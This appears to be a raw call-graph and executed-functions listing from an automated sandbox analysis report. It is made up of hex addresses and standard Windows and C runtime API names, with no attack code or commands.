99837->99840 99838->99837 99839 7c4fcd 99838->99839 99841 7d312d _W_store_winword 60 API calls 99839->99841 99842 800a84 99840->99842 99843 7c4fd8 99841->99843 99845 7d00cf 61 API calls 99842->99845 99843->99842 99844 7c4fe2 99843->99844 99846 7d312d _W_store_winword 60 API calls 99844->99846 99848 800aa7 99845->99848 99847 7c4fed 99846->99847 99850 800ad0 99847->99850 99851 7c4ff7 99847->99851 99849 7c55bc 59 API calls 99848->99849 99852 800ab3 99849->99852 99854 7c55bc 59 API calls 99850->99854 99853 7c501b 99851->99853 99856 7c1c9c 59 API calls 99851->99856 99855 7c1c9c 59 API calls 99852->99855 99860 7b47be 59 API calls 99853->99860 99857 800aee 99854->99857 99858 800ac1 99855->99858 99859 7c500e 99856->99859 99861 7c1c9c 59 API calls 99857->99861 99862 7c55bc 59 API calls 99858->99862 99863 7c55bc 59 API calls 99859->99863 99864 7c502a 99860->99864 99865 800afc 99861->99865 99862->99850 99863->99853 99866 7b4540 59 API calls 99864->99866 99867 7c55bc 59 API calls 99865->99867 99868 7c5038 99866->99868 99869 800b0b 99867->99869 99942 7b43d0 99868->99942 99869->99869 99871 7c5055 99872 7b477a 59 API calls 99871->99872 99873 7b43d0 59 API calls 99871->99873 99874 7c55bc 59 API calls 99871->99874 99875 7c509b Mailbox 99871->99875 99872->99871 99873->99871 99874->99871 99875->99758 99877 7c31cc __write_nolock 99876->99877 99878 800314 _memset 99877->99878 99879 7c31e5 99877->99879 99882 800330 GetOpenFileNameW 99878->99882 99880 7d0284 60 API calls 99879->99880 99881 7c31ee 99880->99881 99956 7d09c5 99881->99956 99884 80037f 99882->99884 99885 7c1821 59 API calls 99884->99885 99887 800394 99885->99887 99887->99887 99889 7c3203 99974 7c278a 99889->99974 99916->99765 99920 7c542d __write_nolock 99919->99920 99921 7c1821 59 API calls 99920->99921 99926 7c5590 Mailbox 99920->99926 99923 7c545f 99921->99923 99931 7c5495 Mailbox 99923->99931 99951 7c1609 99923->99951 99924 7c5563 99925 7c1a36 59 API calls 99924->99925 99924->99926 99927 7c5584 99925->99927 99926->99812 99929 7c4c94 59 API calls 99927->99929 99928 7c1a36 59 API calls 99928->99931 99929->99926 99930 7c4c94 59 API calls 99930->99931 99931->99924 99931->99926 99931->99928 99931->99930 99932 7c1609 59 API calls 99931->99932 99932->99931 99934 7d0fe6 Mailbox 59 API calls 99933->99934 99935 7b4787 99934->99935 99935->99819 99937 7c55df 99936->99937 99938 7c55c6 99936->99938 99940 7c1821 59 API calls 99937->99940 99939 7c1c9c 59 API calls 99938->99939 99941 7c4fa0 99939->99941 99940->99941 99941->99831 99943 7ed6c9 99942->99943 99945 7b43e7 99942->99945 99943->99945 99955 7b40cb 59 API calls Mailbox 99943->99955 99946 7b44e8 99945->99946 99947 7b4530 99945->99947 99950 7b44ef 99945->99950 99949 7d0fe6 Mailbox 59 API calls 99946->99949 99954 7b523c 59 API calls 99947->99954 99949->99950 99950->99871 99952 7c1aa4 59 API calls 99951->99952 99953 7c1614 99952->99953 99953->99923 99954->99950 99955->99945 99957 7e1b70 __write_nolock 99956->99957 99958 7d09d2 GetLongPathNameW 99957->99958 99959 7c1821 59 API calls 99958->99959 99960 7c31f7 99959->99960 99961 7c2f3d 99960->99961 99962 7c1207 59 API calls 99961->99962 99963 7c2f4f 99962->99963 99964 7d0284 60 API calls 99963->99964 99965 7c2f5a 99964->99965 99966 7c2f65 99965->99966 99971 800177 99965->99971 99968 7c4c94 59 API calls 99966->99968 99969 7c2f71 99968->99969 100008 7b1307 99969->100008 99970 800191 99971->99970 100014 7c151f 61 API calls 99971->100014 99973 7c2f84 Mailbox 99973->99889 100015 7c49c2 99974->100015 99977 7ff8d6 100131 819b16 99977->100131 99978 7c49c2 136 API calls 99980 7c27c3 99978->99980 99980->99977 99982 7c27cb 99980->99982 99987 7c27d7 99982->99987 99988 7ff8f3 99982->99988 99983 7ff8eb 100189 7c4a2f 99983->100189 99984 7ff908 99986 7d0fe6 Mailbox 59 API calls 99984->99986 100007 7ff94d Mailbox 99986->100007 100039 7c29be 99987->100039 100195 8147e8 90 API calls _wprintf 99988->100195 99991 7ff901 99991->99984 99993 7ffb01 99994 7d2f85 _free 58 API calls 99993->99994 99995 7ffb09 99994->99995 99996 7c4a2f 84 API calls 99995->99996 100001 7ffb12 99996->100001 100000 7d2f85 _free 58 API calls 100000->100001 100001->100000 100003 7c4a2f 84 API calls 100001->100003 100197 80ff5c 89 API calls 4 library calls 100001->100197 100003->100001 100004 7c1a36 59 API calls 100004->100007 100007->99993 100007->100001 100007->100004 100166 80fef8 100007->100166 100169 81793a 100007->100169 100175 7c343f 100007->100175 100183 7c3297 100007->100183 100196 80fe19 61 API calls 2 library calls 100007->100196 100009 7b1319 100008->100009 100013 7b1338 _memmove 100008->100013 100012 7d0fe6 Mailbox 59 API calls 100009->100012 100010 7d0fe6 Mailbox 59 API calls 100011 7b134f 100010->100011 100011->99973 100012->100013 100013->100010 100014->99971 100198 7c4b29 100015->100198 100020 7c49ed LoadLibraryExW 100208 7c4ade 100020->100208 100021 8008bb 100022 7c4a2f 84 API calls 100021->100022 100024 8008c2 100022->100024 100026 7c4ade 3 API calls 100024->100026 100029 8008ca 100026->100029 100028 7c4a14 100028->100029 100030 7c4a20 100028->100030 100234 7c4ab2 100029->100234 100031 7c4a2f 84 API calls 100030->100031 100033 7c27af 100031->100033 100033->99977 100033->99978 100036 8008f1 100242 7c4a6e 100036->100242 100038 8008fe 100040 7ffd14 100039->100040 100041 7c29e7 100039->100041 100612 80ff5c 89 API calls 4 library calls 100040->100612 100598 7c3df7 60 API calls Mailbox 100041->100598 100044 7c2a09 100599 7c3e47 67 API calls 100044->100599 100045 7ffd27 100613 80ff5c 89 API calls 4 library calls 100045->100613 100047 7c2a1e 100047->100045 100048 7c2a26 100047->100048 100050 7c1207 59 API calls 100048->100050 100052 7c2a32 100050->100052 100051 7ffd43 100054 7c2a93 100051->100054 100600 7d0b8b 60 API calls __write_nolock 100052->100600 100056 7ffd56 100054->100056 100057 7c2aa1 100054->100057 100055 7c2a3e 100059 7c1207 59 API calls 100055->100059 100060 7c42cf CloseHandle 100056->100060 100058 7c1207 59 API calls 100057->100058 100062 7c2aaa 100058->100062 100063 7c2a4a 100059->100063 100061 7ffd62 100060->100061 100064 7c49c2 136 API calls 100061->100064 100065 7c1207 59 API calls 100062->100065 100066 7d0284 60 API calls 100063->100066 100067 7ffd7e 100064->100067 100068 7c2ab3 100065->100068 100069 7c2a58 100066->100069 100070 7ffda3 100067->100070 100073 819b16 122 API calls 100067->100073 100603 7d0119 59 API calls Mailbox 100068->100603 100601 7c3ea1 ReadFile SetFilePointerEx 100069->100601 100614 80ff5c 89 API calls 4 library calls 100070->100614 100077 7ffd96 100073->100077 100074 7c2aca 100604 7c17e0 59 API calls Mailbox 100074->100604 100076 7c2a84 100602 7c410a SetFilePointerEx SetFilePointerEx 100076->100602 100080 7ffdbf 100077->100080 100081 7ffd9e 100077->100081 100084 7c4a2f 84 API calls 100080->100084 100083 7c4a2f 84 API calls 100081->100083 100082 7c2adb SetCurrentDirectoryW 100088 7c2aee Mailbox 100082->100088 100083->100070 100086 7ffdc4 100084->100086 100085 7c2c3e Mailbox 100593 7c3e25 100085->100593 100087 7d0fe6 Mailbox 59 API calls 100086->100087 100094 7ffdf8 100087->100094 100090 7d0fe6 Mailbox 59 API calls 100088->100090 100092 7c2b01 100090->100092 100091 7c27ef 100091->99767 100091->99768 100093 7c433f 59 API calls 100092->100093 100123 7c2b0c Mailbox __wsetenvp 100093->100123 100095 7c343f 59 API calls 100094->100095 100128 7ffe41 Mailbox 100095->100128 100096 7c2c19 100097 7c42cf CloseHandle 100096->100097 100099 7c2c25 SetCurrentDirectoryW 100097->100099 100099->100085 100100 800032 100102 81789a 59 API calls 100100->100102 100103 800054 100102->100103 100107 8000cb 100620 80ff5c 89 API calls 4 library calls 100107->100620 100111 8000e4 100111->100096 100112 7c343f 59 API calls 100112->100128 100114 8000c3 100619 80fdb2 59 API calls 4 library calls 100114->100619 100116 7c1a36 59 API calls 100116->100123 100119 80fef8 59 API calls 100119->100128 100120 7c1a36 59 API calls 100120->100128 100122 81793a 59 API calls 100122->100128 100123->100096 100123->100107 100123->100114 100123->100116 100605 7c3ebe 67 API calls _wcscpy 100123->100605 100606 7c2e8f GetStringTypeW 100123->100606 100607 7c2dfe 60 API calls __wcsnicmp 100123->100607 100608 7c2edc GetStringTypeW __wsetenvp 100123->100608 100609 7d386d GetStringTypeW _iswctype 100123->100609 100610 7c27fc 165 API calls 3 library calls 100123->100610 100611 7c314d 59 API calls Mailbox 100123->100611 100124 800084 100618 80ff5c 89 API calls 4 library calls 100124->100618 100127 80009d 100128->100100 100128->100112 100128->100119 100128->100120 100128->100122 100128->100124 100615 80fe19 61 API calls 2 library calls 100128->100615 100616 7c314d 59 API calls Mailbox 100128->100616 100130 7ffdba 100130->100085 100132 7c4a8c 85 API calls 100131->100132 100133 819b85 100132->100133 100621 819cf1 100133->100621 100136 7c4ab2 74 API calls 100137 819bb4 100136->100137 100138 7c4ab2 74 API calls 100137->100138 100139 819bc4 100138->100139 100140 7c4ab2 74 API calls 100139->100140 100141 819bdf 100140->100141 100142 7c4ab2 74 API calls 100141->100142 100143 819bfa 100142->100143 100144 7c4a8c 85 API calls 100143->100144 100145 819c11 100144->100145 100146 7d593c __crtLCMapStringA_stat 58 API calls 100145->100146 100147 819c18 100146->100147 100148 7d593c __crtLCMapStringA_stat 58 API calls 100147->100148 100149 819c22 100148->100149 100150 7c4ab2 74 API calls 100149->100150 100151 819c36 100150->100151 100152 8196c4 GetSystemTimeAsFileTime 100151->100152 100153 819c49 100152->100153 100154 819c73 100153->100154 100155 819c5e 100153->100155 100156 819c79 100154->100156 100157 819cd8 100154->100157 100158 7d2f85 _free 58 API calls 100155->100158 100627 8190c1 100156->100627 100160 7d2f85 _free 58 API calls 100157->100160 100161 819c64 100158->100161 100163 7ff8e7 100160->100163 100163->99983 100163->99984 100167 7d0fe6 Mailbox 59 API calls 100166->100167 100168 80ff28 _memmove 100167->100168 100168->100007 100170 817945 100169->100170 100171 7d0fe6 Mailbox 59 API calls 100170->100171 100172 81795c 100171->100172 100173 81796b 100172->100173 100174 7c1a36 59 API calls 100172->100174 100173->100007 100174->100173 100176 7c34df 100175->100176 100179 7c3452 _memmove 100175->100179 100178 7d0fe6 Mailbox 59 API calls 100176->100178 100177 7d0fe6 Mailbox 59 API calls 100180 7c3459 100177->100180 100178->100179 100179->100177 100181 7d0fe6 Mailbox 59 API calls 100180->100181 100182 7c3482 100180->100182 100181->100182 100182->100007 100184 7c32aa 100183->100184 100187 7c3358 100183->100187 100185 7d0fe6 Mailbox 59 API calls 100184->100185 100188 7c32dc 100184->100188 100185->100188 100186 7d0fe6 59 API calls Mailbox 100186->100188 100187->100007 100188->100186 100188->100187 100190 7c4a39 100189->100190 100191 7c4a40 100189->100191 100192 7d55c6 __fcloseall 83 API calls 100190->100192 100193 7c4a4f 100191->100193 100194 7c4a60 FreeLibrary 100191->100194 100192->100191 100193->99988 100194->100193 100195->99991 100196->100007 100197->100001 100247 7c4b77 100198->100247 100201 7c4b50 100203 7c49d4 100201->100203 100204 7c4b60 FreeLibrary 100201->100204 100202 7c4b77 2 API calls 100202->100201 100205 7d547b 100203->100205 100204->100203 100251 7d5490 100205->100251 100207 7c49e1 100207->100020 100207->100021 100331 7c4baa 100208->100331 100211 7c4a05 100215 7c48b0 100211->100215 100212 7c4b15 FreeLibrary 100212->100211 100213 7c4baa 2 API calls 100214 7c4b03 100213->100214 100214->100211 100214->100212 100216 7d0fe6 Mailbox 59 API calls 100215->100216 100217 7c48c5 100216->100217 100218 7c433f 59 API calls 100217->100218 100219 7c48d1 _memmove 100218->100219 100220 7c490c 100219->100220 100221 80080a 100219->100221 100222 7c4a6e 69 API calls 100220->100222 100223 800817 100221->100223 100340 819ed8 CreateStreamOnHGlobal FindResourceExW LoadResource SizeofResource LockResource 100221->100340 100233 7c4915 100222->100233 100341 819f5e 95 API calls 100223->100341 100226 7c4ab2 74 API calls 100226->100233 100228 800859 100335 7c4a8c 100228->100335 100230 7c4a8c 85 API calls 100230->100233 100231 7c4ab2 74 API calls 100232 7c49a0 100231->100232 100232->100028 100233->100226 100233->100228 100233->100230 100233->100232 100235 800945 100234->100235 100236 7c4ac4 100234->100236 100447 7d5802 100236->100447 100239 8196c4 100572 81951a 100239->100572 100241 8196da 100241->100036 100243 7c4a7d 100242->100243 100244 800908 100242->100244 100577 7d5e80 100243->100577 100246 7c4a85 100246->100038 100248 7c4b44 100247->100248 100249 7c4b80 LoadLibraryA 100247->100249 100248->100201 100248->100202 100249->100248 100250 7c4b91 GetProcAddress 100249->100250 100250->100248 100252 7d549c _wprintf 100251->100252 100253 7d54af 100252->100253 100255 7d54e0 100252->100255 100300 7d8d58 58 API calls __getptd_noexit 100253->100300 100270 7e0718 100255->100270 100256 7d54b4 100301 7d8fe6 9 API calls __wsopen_nolock 100256->100301 100259 7d54e5 100260 7d54ee 100259->100260 100261 7d54fb 100259->100261 100302 7d8d58 58 API calls __getptd_noexit 100260->100302 100263 7d5525 100261->100263 100264 7d5505 100261->100264 100285 7e0837 100263->100285 100303 7d8d58 58 API calls __getptd_noexit 100264->100303 100265 7d54bf _wprintf @_EH4_CallFilterFunc@8 100265->100207 100271 7e0724 _wprintf 100270->100271 100272 7d9e3b __lock 58 API calls 100271->100272 100283 7e0732 100272->100283 100273 7e07a6 100305 7e082e 100273->100305 100274 7e07ad 100275 7d8a4d __malloc_crt 58 API calls 100274->100275 100278 7e07b4 100275->100278 100277 7e0823 _wprintf 100277->100259 100278->100273 100310 7da05b InitializeCriticalSectionAndSpinCount 100278->100310 100280 7d9ec3 __mtinitlocknum 58 API calls 100280->100283 100282 7e07da EnterCriticalSection 100282->100273 100283->100273 100283->100274 100283->100280 100308 7d6e7d 59 API calls __lock 100283->100308 100309 7d6ee7 LeaveCriticalSection LeaveCriticalSection _doexit 100283->100309 100286 7e0857 __wopenfile 100285->100286 100287 7e0871 100286->100287 100299 7e0a2c 100286->100299 100317 7d39fb 60 API calls 3 library calls 100286->100317 100315 7d8d58 58 API calls __getptd_noexit 100287->100315 100289 7e0876 100316 7d8fe6 9 API calls __wsopen_nolock 100289->100316 100291 7d5530 100304 7d5552 LeaveCriticalSection LeaveCriticalSection _fprintf 100291->100304 100292 7e0a8f 100312 7e87d1 100292->100312 100295 7e0a25 100295->100299 100318 7d39fb 60 API calls 3 library calls 100295->100318 100297 7e0a44 100297->100299 100319 7d39fb 60 API calls 3 library calls 100297->100319 100299->100287 100299->100292 100300->100256 100301->100265 100302->100265 100303->100265 100304->100265 100311 7d9fa5 LeaveCriticalSection 100305->100311 100307 7e0835 100307->100277 100308->100283 100309->100283 100310->100282 100311->100307 100320 7e7fb5 100312->100320 100314 7e87ea 100314->100291 100315->100289 100316->100291 100317->100295 100318->100297 100319->100299 100321 7e7fc1 _wprintf 100320->100321 100322 7e7fd7 100321->100322 100325 7e800d 100321->100325 100323 7d8d58 __flswbuf 58 API calls 100322->100323 100324 7e7fdc 100323->100324 100326 7d8fe6 __wsopen_nolock 9 API calls 100324->100326 100327 7e807e __wsopen_nolock 109 API calls 100325->100327 100330 7e7fe6 _wprintf 100326->100330 100328 7e8029 100327->100328 100329 7e8052 __wsopen_helper LeaveCriticalSection 100328->100329 100329->100330 100330->100314 100332 7c4af7 100331->100332 100333 7c4bb3 LoadLibraryA 100331->100333 100332->100213 100332->100214 100333->100332 100334 7c4bc4 GetProcAddress 100333->100334 100334->100332 100336 800923 100335->100336 100337 7c4a9b 100335->100337 100342 7d5a6d 100337->100342 100339 7c4aa9 100339->100231 100340->100223 100341->100233 100343 7d5a79 _wprintf 100342->100343 100344 7d5a8b 100343->100344 100346 7d5ab1 100343->100346 100373 7d8d58 58 API calls __getptd_noexit 100344->100373 100355 7d6e3e 100346->100355 100347 7d5a90 100374 7d8fe6 9 API calls __wsopen_nolock 100347->100374 100354 7d5a9b _wprintf 100354->100339 100356 7d6e4e 100355->100356 100357 7d6e70 EnterCriticalSection 100355->100357 100356->100357 100358 7d6e56 100356->100358 100359 7d5ab7 100357->100359 100360 7d9e3b __lock 58 API calls 100358->100360 100361 7d59de 100359->100361 100360->100359 100362 7d59fc 100361->100362 100363 7d59ec 100361->100363 100364 7d5a12 100362->100364 100376 7d5af0 100362->100376 100446 7d8d58 58 API calls __getptd_noexit 100363->100446 100405 7d4c5d 100364->100405 100367 7d59f1 100375 7d5ae8 LeaveCriticalSection LeaveCriticalSection _fprintf 100367->100375 100371 7d5a53 100418 7e185f 100371->100418 100373->100347 100374->100354 100375->100354 100377 7d5afd __write_nolock 100376->100377 100378 7d5b2d 100377->100378 100379 7d5b15 100377->100379 100381 7d4906 __flswbuf 58 API calls 100378->100381 100380 7d8d58 __flswbuf 58 API calls 100379->100380 100382 7d5b1a 100380->100382 100383 7d5b35 100381->100383 100384 7d8fe6 __wsopen_nolock 9 API calls 100382->100384 100385 7e185f __write 64 API calls 100383->100385 100403 7d5b25 100384->100403 100386 7d5b51 100385->100386 100389 7d5bd4 100386->100389 100390 7d5d41 100386->100390 100386->100403 100387 7dc826 __ld12tod 6 API calls 100388 7d5e7c 100387->100388 100388->100364 100392 7d5bfa 100389->100392 100396 7d5cfd 100389->100396 100391 7d5d4a 100390->100391 100390->100396 100393 7d8d58 __flswbuf 58 API calls 100391->100393 100394 7e19f5 __lseeki64 62 API calls 100392->100394 100392->100403 100393->100403 100395 7d5c33 100394->100395 100398 7d5c5f ReadFile 100395->100398 100395->100403 100397 7e185f __write 64 API calls 100396->100397 100396->100403 100399 7d5dae 100397->100399 100400 7d5c84 100398->100400 100398->100403 100401 7e185f __write 64 API calls 100399->100401 100399->100403 100402 7e185f __write 64 API calls 100400->100402 100401->100403 100404 7d5c97 100402->100404 100403->100387 100404->100403 100406 7d4c70 100405->100406 100410 7d4c94 100405->100410 100407 7d4906 __flswbuf 58 API calls 100406->100407 100406->100410 100408 7d4c8d 100407->100408 100409 7ddab6 __write 78 API calls 100408->100409 100409->100410 100411 7d4906 100410->100411 100412 7d4925 100411->100412 100413 7d4910 100411->100413 100412->100371 100414 7d8d58 __flswbuf 58 API calls 100413->100414 100415 7d4915 100414->100415 100416 7d8fe6 __wsopen_nolock 9 API calls 100415->100416 100417 7d4920 100416->100417 100417->100371 100419 7e186b _wprintf 100418->100419 100420 7e188f 100419->100420 100421 7e1878 100419->100421 100423 7e192e 100420->100423 100425 7e18a3 100420->100425 100422 7d8d24 __wsopen_nolock 58 API calls 100421->100422 100424 7e187d 100422->100424 100426 7d8d24 __wsopen_nolock 58 API calls 100423->100426 100427 7d8d58 __flswbuf 58 API calls 100424->100427 100428 7e18cb 100425->100428 100429 7e18c1 100425->100429 100430 7e18c6 100426->100430 100431 7e1884 _wprintf 100427->100431 100433 7dd436 ___lock_fhandle 59 API calls 100428->100433 100432 7d8d24 __wsopen_nolock 58 API calls 100429->100432 100435 7d8d58 __flswbuf 58 API calls 100430->100435 100431->100367 100432->100430 100434 7e18d1 100433->100434 100436 7e18f7 100434->100436 100437 7e18e4 100434->100437 100438 7e193a 100435->100438 100439 7d8d58 __flswbuf 58 API calls 100436->100439 100440 7e194e __lseek_nolock 62 API calls 100437->100440 100441 7d8fe6 __wsopen_nolock 9 API calls 100438->100441 100442 7e18fc 100439->100442 100443 7e18f0 100440->100443 100441->100431 100444 7d8d24 __wsopen_nolock 58 API calls 100442->100444 100445 7e1926 __write LeaveCriticalSection 100443->100445 100444->100443 100445->100431 100446->100367 100450 7d581d 100447->100450 100449 7c4ad5 100449->100239 100451 7d5829 _wprintf 100450->100451 100452 7d586c 100451->100452 100453 7d583f _memset 100451->100453 100454 7d5864 _wprintf 100451->100454 100455 7d6e3e __lock_file 59 API calls 100452->100455 100477 7d8d58 58 API calls __getptd_noexit 100453->100477 100454->100449 100456 7d5872 100455->100456 100463 7d563d 100456->100463 100459 7d5859 100478 7d8fe6 9 API calls __wsopen_nolock 100459->100478 100467 7d5658 _memset 100463->100467 100470 7d5673 100463->100470 100464 7d5663 100568 7d8d58 58 API calls __getptd_noexit 100464->100568 100466 7d5668 100569 7d8fe6 9 API calls __wsopen_nolock 100466->100569 100467->100464 100467->100470 100474 7d56b3 100467->100474 100479 7d58a6 LeaveCriticalSection LeaveCriticalSection _fprintf 100470->100479 100471 7d57c4 _memset 100571 7d8d58 58 API calls __getptd_noexit 100471->100571 100472 7d4906 __flswbuf 58 API calls 100472->100474 100474->100470 100474->100471 100474->100472 100480 7e108b 100474->100480 100548 7e0dd7 100474->100548 100570 7e0ef8 58 API calls 4 library calls 100474->100570 100477->100459 100478->100454 100479->100454 100481 7e10ac 100480->100481 100482 7e10c3 100480->100482 100483 7d8d24 __wsopen_nolock 58 API calls 100481->100483 100484 7e17fb 100482->100484 100489 7e10fd 100482->100489 100486 7e10b1 100483->100486 100485 7d8d24 __wsopen_nolock 58 API calls 100484->100485 100487 7e1800 100485->100487 100488 7d8d58 __flswbuf 58 API calls 100486->100488 100490 7d8d58 __flswbuf 58 API calls 100487->100490 100528 7e10b8 100488->100528 100491 7e1105 100489->100491 100496 7e111c 100489->100496 100493 7e1111 100490->100493 100492 7d8d24 __wsopen_nolock 58 API calls 100491->100492 100494 7e110a 100492->100494 100495 7d8fe6 __wsopen_nolock 9 API calls 100493->100495 100498 7d8d58 __flswbuf 58 API calls 100494->100498 100495->100528 100497 7e1131 100496->100497 100500 7e114b 100496->100500 100501 7e1169 100496->100501 100496->100528 100499 7d8d24 __wsopen_nolock 58 API calls 100497->100499 100498->100493 100499->100494 100500->100497 100503 7e1156 100500->100503 100502 7d8a4d __malloc_crt 58 API calls 100501->100502 100504 7e1179 100502->100504 100505 7e5e9b __flswbuf 58 API calls 100503->100505 100506 7e119c 100504->100506 100507 7e1181 100504->100507 100508 7e126a 100505->100508 100511 7e1af1 __lseeki64_nolock 60 API calls 100506->100511 100509 7d8d58 __flswbuf 58 API calls 100507->100509 100510 7e12e3 ReadFile 100508->100510 100515 7e1280 GetConsoleMode 100508->100515 100512 7e1186 100509->100512 100513 7e1305 100510->100513 100514 7e17c3 GetLastError 100510->100514 100511->100503 100516 7d8d24 __wsopen_nolock 58 API calls 100512->100516 100513->100514 100521 7e12d5 100513->100521 100517 7e12c3 100514->100517 100518 7e17d0 100514->100518 100519 7e1294 100515->100519 100520 7e12e0 100515->100520 100516->100528 100524 7d8d37 __dosmaperr 58 API calls 100517->100524 100529 7e12c9 100517->100529 100522 7d8d58 __flswbuf 58 API calls 100518->100522 100519->100520 100523 7e129a ReadConsoleW 100519->100523 100520->100510 100521->100529 100531 7e15a7 100521->100531 100532 7e133a 100521->100532 100525 7e17d5 100522->100525 100523->100521 100526 7e12bd GetLastError 100523->100526 100524->100529 100527 7d8d24 __wsopen_nolock 58 API calls 100525->100527 100526->100517 100527->100529 100528->100474 100529->100528 100530 7d2f85 _free 58 API calls 100529->100530 100530->100528 100531->100529 100539 7e16ad ReadFile 100531->100539 100533 7e1427 100532->100533 100535 7e13a6 ReadFile 100532->100535 100533->100529 100537 7e14e4 100533->100537 100538 7e14d4 100533->100538 100542 7e1494 MultiByteToWideChar 100533->100542 100536 7e13c7 GetLastError 100535->100536 100544 7e13d1 100535->100544 100536->100544 100537->100542 100543 7e1af1 __lseeki64_nolock 60 API calls 100537->100543 100541 7d8d58 __flswbuf 58 API calls 100538->100541 100540 7e16d0 GetLastError 100539->100540 100547 7e16de 100539->100547 100540->100547 100541->100529 100542->100526 100542->100529 100543->100542 100544->100532 100545 7e1af1 __lseeki64_nolock 60 API calls 100544->100545 100545->100544 100546 7e1af1 __lseeki64_nolock 60 API calls 100546->100547 100547->100531 100547->100546 100549 7e0de2 100548->100549 100553 7e0df7 100548->100553 100550 7d8d58 __flswbuf 58 API calls 100549->100550 100551 7e0de7 100550->100551 100552 7d8fe6 __wsopen_nolock 9 API calls 100551->100552 100560 7e0df2 100552->100560 100554 7e0e2c 100553->100554 100555 7e6214 __getbuf 58 API calls 100553->100555 100553->100560 100556 7d4906 __flswbuf 58 API calls 100554->100556 100555->100554 100557 7e0e40 100556->100557 100558 7e0f77 __read 72 API calls 100557->100558 100559 7e0e47 100558->100559 100559->100560 100561 7d4906 __flswbuf 58 API calls 100559->100561 100560->100474 100562 7e0e6a 100561->100562 100562->100560 100563 7d4906 __flswbuf 58 API calls 100562->100563 100564 7e0e76 100563->100564 100564->100560 100565 7d4906 __flswbuf 58 API calls 100564->100565 100566 7e0e83 100565->100566 100567 7d4906 __flswbuf 58 API calls 100566->100567 100567->100560 100568->100466 100569->100470 100570->100474 100571->100466 100575 7d542a GetSystemTimeAsFileTime 100572->100575 100574 819529 100574->100241 100576 7d5458 __aulldiv 100575->100576 100576->100574 100578 7d5e8c _wprintf 100577->100578 100579 7d5e9e 100578->100579 100580 7d5eb3 100578->100580 100590 7d8d58 58 API calls __getptd_noexit 100579->100590 100581 7d6e3e __lock_file 59 API calls 100580->100581 100583 7d5eb9 100581->100583 100585 7d5af0 __ftell_nolock 67 API calls 100583->100585 100584 7d5ea3 100591 7d8fe6 9 API calls __wsopen_nolock 100584->100591 100587 7d5ec4 100585->100587 100592 7d5ee4 LeaveCriticalSection LeaveCriticalSection _fprintf 100587->100592 100589 7d5eae _wprintf 100589->100246 100590->100584 100591->100589 100592->100589 100594 7c42cf CloseHandle 100593->100594 100595 7c3e2d Mailbox 100594->100595 100596 7c42cf CloseHandle 100595->100596 100597 7c3e3c 100596->100597 100597->100091 100598->100044 100599->100047 100600->100055 100601->100076 100602->100054 100603->100074 100604->100082 100605->100123 100606->100123 100607->100123 100608->100123 100609->100123 100610->100123 100611->100123 100612->100045 100613->100051 100614->100130 100615->100128 100616->100128 100618->100127 100619->100107 100620->100111 100625 819d05 __tzset_nolock _wcscmp 100621->100625 100622 819b99 100622->100136 100622->100163 100623 8196c4 GetSystemTimeAsFileTime 100623->100625 100624 7c4a8c 85 API calls 100624->100625 100625->100622 100625->100623 100625->100624 100626 7c4ab2 74 API calls 100625->100626 100626->100625 100791 7d3465 _wprintf 100790->100791 100792 7d9e3b __lock 51 API calls 100791->100792 100793 7d346c 100792->100793 100794 7d3525 _doexit 100793->100794 100795 7d349a DecodePointer 100793->100795 100810 7d3573 100794->100810 100795->100794 100797 7d34b1 DecodePointer 100795->100797 100800 7d34c1 100797->100800 100799 7d3582 _wprintf 100799->99678 100800->100794 100802 7d34ce EncodePointer 100800->100802 100805 7d34de DecodePointer EncodePointer 100800->100805 100802->100800 100803 7d356a 100804 7d32cf _fast_error_exit 3 API calls 100803->100804 100806 7d3573 100804->100806 100808 7d34f0 DecodePointer DecodePointer 100805->100808 100807 7d3580 100806->100807 100815 7d9fa5 LeaveCriticalSection 100806->100815 100807->99678 100808->100800 100811 7d3579 100810->100811 100812 7d3553 100810->100812 100816 7d9fa5 LeaveCriticalSection 100811->100816 100812->100799 100814 7d9fa5 LeaveCriticalSection 100812->100814 100814->100803 100815->100807 100816->100812 100817 7c4d83 100818 7c4dba 100817->100818 100819 7c4dd8 100818->100819 100820 7c4e37 100818->100820 100857 7c4e35 100818->100857 100824 7c4ead PostQuitMessage 100819->100824 100825 7c4de5 100819->100825 100822 7c4e3d 100820->100822 100823 8009c2 100820->100823 100821 7c4e1a DefWindowProcW 100859 7c4e28 100821->100859 100827 7c4e65 SetTimer RegisterWindowMessageW 100822->100827 100828 7c4e42 100822->100828 100826 7bc460 10 API calls 100823->100826 100824->100859 100829 800a35 100825->100829 100830 7c4df0 100825->100830 100835 8009e9 100826->100835 100831 7c4e8e CreatePopupMenu 100827->100831 100827->100859 100836 800965 100828->100836 100837 7c4e49 KillTimer 100828->100837 100872 812cce 97 API calls _memset 100829->100872 100832 7c4df8 100830->100832 100833 7c4eb7 100830->100833 100831->100859 100838 800a1a 100832->100838 100839 7c4e03 100832->100839 100862 7c5b29 100833->100862 100841 7bc483 265 API calls 100835->100841 100843 80096a 100836->100843 100844 80099e MoveWindow 100836->100844 100845 7c5ac3 Shell_NotifyIconW 100837->100845 100838->100821 100871 808854 59 API calls Mailbox 100838->100871 100846 7c4e9b 100839->100846 100855 7c4e0e 100839->100855 100840 800a47 100840->100821 100840->100859 100841->100855 100847 80098d SetFocus 100843->100847 100848 80096e 100843->100848 100844->100859 100849 7c4e5c 100845->100849 100870 7c5bd7 107 API calls _memset 100846->100870 100847->100859 100851 800977 100848->100851 100848->100855 100869 7b34e4 DeleteObject DestroyWindow Mailbox 100849->100869 100856 7bc460 10 API calls 100851->100856 100854 7c4eab 100854->100859 100855->100821 100858 7c5ac3 Shell_NotifyIconW 100855->100858 100856->100859 100857->100821 100860 800a0e 100858->100860 100861 7c59d3 94 API calls 100860->100861 100861->100857 100863 7c5b40 _memset 100862->100863 100864 7c5bc2 100862->100864 100865 7c56f8 87 API calls 100863->100865 100864->100859 100866 7c5b67 100865->100866 100867 7c5bab KillTimer SetTimer 100866->100867 100868 800d6e Shell_NotifyIconW 100866->100868 100867->100864 100868->100867 100869->100859 100870->100854 100871->100857 100872->100840

                                                                    Executed Functions

                                                                    Function 007C5240 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 147windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 007C526C
                                                                    • IsDebuggerPresent.KERNEL32 ref: 007C527E
                                                                    • GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 007C52E6
                                                                      • Part of subcall function 007C1821: _memmove.LIBCMT ref: 007C185B
                                                                      • Part of subcall function 007BBBC6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 007BBC07
